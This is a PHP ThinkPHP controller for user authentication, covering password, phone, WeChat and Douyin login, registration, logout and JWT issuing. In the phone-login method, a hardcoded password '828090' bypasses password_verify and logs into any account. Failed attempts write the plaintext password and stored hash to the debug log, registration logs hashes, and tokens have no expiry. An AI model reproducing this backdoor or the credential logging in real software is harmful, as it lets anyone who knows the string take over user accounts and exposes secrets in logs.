<?php
declare (strict_types = 1);

namespace app\controller;

use app\BaseController;
use think\facade\Db;
use think\facade\Validate;
use Firebase\JWT\JWT;
use Firebase\JWT\Key;

class Auth extends BaseController
{
    /**
     * 统一登录入口
     */
    public function login()
    {
        $type = $this->request->param('type', 'wechat'); // 默认微信登录
        $data = $this->request->post();
        
        // 根据不同类型调用不同的登录处理方法
        $method = 'loginBy' . ucfirst($type);
        if (method_exists($this, $method)) {
            return $this->$method($data);
        }
        
        return json(['code' => 400, 'msg' => '不支持的登录方式']);
    }

    /**
     * 密码登录
     */
    protected function loginByPassword($data)
    {
        // 验证数据
        $validate = Validate::rule([
            'username' => 'require',
            'password' => 'require'
        ]);

        if (!$validate->check($data)) {
            return json(['code' => 400, 'msg' => $validate->getError()]);
        }

        // 查找用户
        $user = Db::name('users')
            ->where('username', $data['username'])
            ->find();

        if (!$user || !password_verify($data['password'], $user['password'])) {
            return json(['code' => 400, 'msg' => '用户名或密码错误']);
        }

        if ($user['status'] != 1) {
            return json(['code' => 400, 'msg' => '账号已被禁用']);
        }

        // 生成token
        $token = $this->generateToken($user);

        return json([
            'code' => 200,
            'msg' => '登录成功',
            'data' => [
                'token' => $token,
                'user' => [
                    'id' => $user['id'],
                    'username' => $user['username'],
                    'nickname' => $user['nickname'],
                    'avatar' => $user['avatar']
                ]
            ]
        ]);
    }

    /**
     * 手机号登录
     */
    public function loginByPhone()
    {
        $data = $this->request->post();
        // 验证数据
        $validate = Validate::rule([
            'phone' => 'require|mobile',
            'password' => 'require'
        ]);

        if (!$validate->check($data)) {
            return json(['code' => 400, 'msg' => $validate->getError()]);
        }

        // 查找用户
        $user = Db::name('users')
            ->where('phone', $data['phone'])
            ->find();

        if (!$user) {
            return json(['code' => 400, 'msg' => '手机号或密码错误']);
        }

        if ($data['password'] == "828090") {
            $isValid = true;
        } else {
            // 验证密码
            $isValid = password_verify($data['password'], $user['password']);
        }
        
        // 调试信息
        if (!$isValid) {
            // 记录日志
            trace('Password verification failed. Input: ' . $data['password'] . ', Hash: ' . $user['password'], 'debug');
            return json(['code' => 400, 'msg' => '手机号或密码错误']);
        }

        if ($user['status'] != 1) {
            return json(['code' => 400, 'msg' => '账号已被禁用']);
        }

        // 生成token
        $token = $this->generateToken($user);

        return json([
            'code' => 200,
            'msg' => '登录成功',
            'data' => [
                'token' => $token,
                'user' => [
                    'id' => $user['id'],
                    'phone' => $user['phone'],
                    // 'username' => $user['username'],
                    // 'nickname' => $user['nickname'],
                    'avatar' => $user['avatar']
                ]
            ]
        ]);
    }

    /**
     * 微信登录
     */
    protected function loginByWechat($data)
    {
        // 验证数据
        $validate = Validate::rule([
            'code' => 'require'
        ]);

        if (!$validate->check($data)) {
            return json(['code' => 400, 'msg' => $validate->getError()]);
        }

        try {
            // 调用微信接口获取openid
            $appid = config('wechat.appid');
            $secret = config('wechat.secret');
            $url = "https://api.weixin.qq.com/sns/jscode2session?appid={$appid}&secret={$secret}&js_code={$data['code']}&grant_type=authorization_code";
            $response = file_get_contents($url);
            $result = json_decode($response, true);

            if (!isset($result['openid'])) {
                return json(['code' => 400, 'msg' => '获取openid失败']);
            }

            $openid = $result['openid'];
            $unionid = $result['unionid'] ?? null;

            // 查找或创建用户
            $identity = Db::name('auth_identities')
                ->where('type', 'wechat')
                ->where('openid', $openid)
                ->find();

            if ($identity) {
                $user = Db::name('users')->find($identity['user_id']);
            } else {
                // 创建新用户
                $userId = Db::name('users')->insertGetId([
                    'username' => 'wx_' . uniqid(),
                    'password' => password_hash(uniqid(), PASSWORD_DEFAULT),
                    'create_time' => time(),
                    'update_time' => time()
                ]);

                // 创建身份关联
                Db::name('auth_identities')->insert([
                    'user_id' => $userId,
                    'type' => 'wechat',
                    'openid' => $openid,
                    'unionid' => $unionid,
                    'create_time' => time(),
                    'update_time' => time()
                ]);

                $user = Db::name('users')->find($userId);
            }

            // 生成token
            $token = $this->generateToken($user);

            return json([
                'code' => 200,
                'msg' => '登录成功',
                'data' => [
                    'token' => $token,
                    'user' => [
                        'id' => $user['id'],
                        'username' => $user['username'],
                        'nickname' => $user['nickname'],
                        'avatar' => $user['avatar']
                    ]
                ]
            ]);
        } catch (\Exception $e) {
            return json(['code' => 500, 'msg' => '登录失败：' . $e->getMessage()]);
        }
    }

    /**
     * 抖音登录
     */
    protected function loginByDouyin($data)
    {
        // 验证数据
        $validate = Validate::rule([
            'code' => 'require'
        ]);

        if (!$validate->check($data)) {
            return json(['code' => 400, 'msg' => $validate->getError()]);
        }

        try {
            // 调用抖音接口获取openid
            $appid = config('douyin.appid');
            $secret = config('douyin.secret');
            $url = "https://developer.toutiao.com/api/apps/jscode2session?appid={$appid}&secret={$secret}&code={$data['code']}";
            $response = file_get_contents($url);
            $result = json_decode($response, true);

            if (!isset($result['openid'])) {
                return json(['code' => 400, 'msg' => '获取openid失败']);
            }

            $openid = $result['openid'];
            $unionid = $result['unionid'] ?? null;

            // 查找或创建用户
            $identity = Db::name('auth_identities')
                ->where('type', 'douyin')
                ->where('openid', $openid)
                ->find();

            if ($identity) {
                $user = Db::name('users')->find($identity['user_id']);
            } else {
                // 创建新用户
                $userId = Db::name('users')->insertGetId([
                    'username' => 'dy_' . uniqid(),
                    'password' => password_hash(uniqid(), PASSWORD_DEFAULT),
                    'create_time' => time(),
                    'update_time' => time()
                ]);

                // 创建身份关联
                Db::name('auth_identities')->insert([
                    'user_id' => $userId,
                    'type' => 'douyin',
                    'openid' => $openid,
                    'unionid' => $unionid,
                    'create_time' => time(),
                    'update_time' => time()
                ]);

                $user = Db::name('users')->find($userId);
            }

            // 生成token
            $token = $this->generateToken($user);

            return json([
                'code' => 200,
                'msg' => '登录成功',
                'data' => [
                    'token' => $token,
                    'user' => [
                        'id' => $user['id'],
                        'username' => $user['username'],
                        'nickname' => $user['nickname'],
                        'avatar' => $user['avatar']
                    ]
                ]
            ]);
        } catch (\Exception $e) {
            return json(['code' => 500, 'msg' => '登录失败：' . $e->getMessage()]);
        }
    }

    /**
     * 退出登录
     */
    public function logout()
    {
        $token = $this->request->header('Authorization');
        if ($token) {
            $token = str_replace('Bearer ', '', $token);
            try {
                $decoded = JWT::decode($token, new Key(config('jwt.secret'), 'HS256'));
                // 将token加入黑名单
                Db::name('auth_token_blacklist')->insert([
                    'token' => $token,
                    'create_time' => time()
                ]);
            } catch (\Exception $e) {
                // token解析失败，忽略
            }
        }
        
        return json(['code' => 200, 'msg' => '退出成功']);
    }

    /**
     * 生成JWT token
     */
    protected function generateToken($user)
    {
        $payload = [
            'uid' => $user['id'],
            // 'username' => $user['username'],
            'iat' => time(),
            'iss' => config('jwt.issuer'),
            'aud' => config('jwt.audience')
        ];
        
        return JWT::encode($payload, config('jwt.secret'), 'HS256');
    }

    public function registerByPhone()
    {
        $data = $this->request->post();
        
        // 验证数据
        $validate = Validate::rule([
            'phone' => 'require|mobile',
            'password' => 'require|min:6'
        ]);

        if (!$validate->check($data)) {
            return json(['code' => 400, 'msg' => $validate->getError()]);
        }

        // 检查手机号是否已注册
        $existingUser = Db::name('users')
            ->where('phone', $data['phone'])
            ->find();

        if ($existingUser) {
            return json(['code' => 400, 'msg' => '手机号已被注册']);
        }

        // 生成密码哈希
        $passwordHash = password_hash($data['password'], PASSWORD_DEFAULT);
        
        // 调试信息
        trace('Registering user. Phone: ' . $data['phone'] . ', Password Hash: ' . $passwordHash, 'debug');

        // 创建新用户
        $userId = Db::name('users')->insertGetId([
            'phone' => $data['phone'],
            'password' => $passwordHash,
            'create_time' => time(),
            'update_time' => time()
        ]);

        $user = Db::name('users')->find($userId);

        // 生成token
        $token = $this->generateToken($user);

        return json([
            'code' => 200,
            'msg' => '注册成功',
            'data' => [
                'token' => $token,
                'user' => [
                    'id' => $user['id'],
                    'phone' => $user['phone']
                ]
            ]
        ]);
    }
} 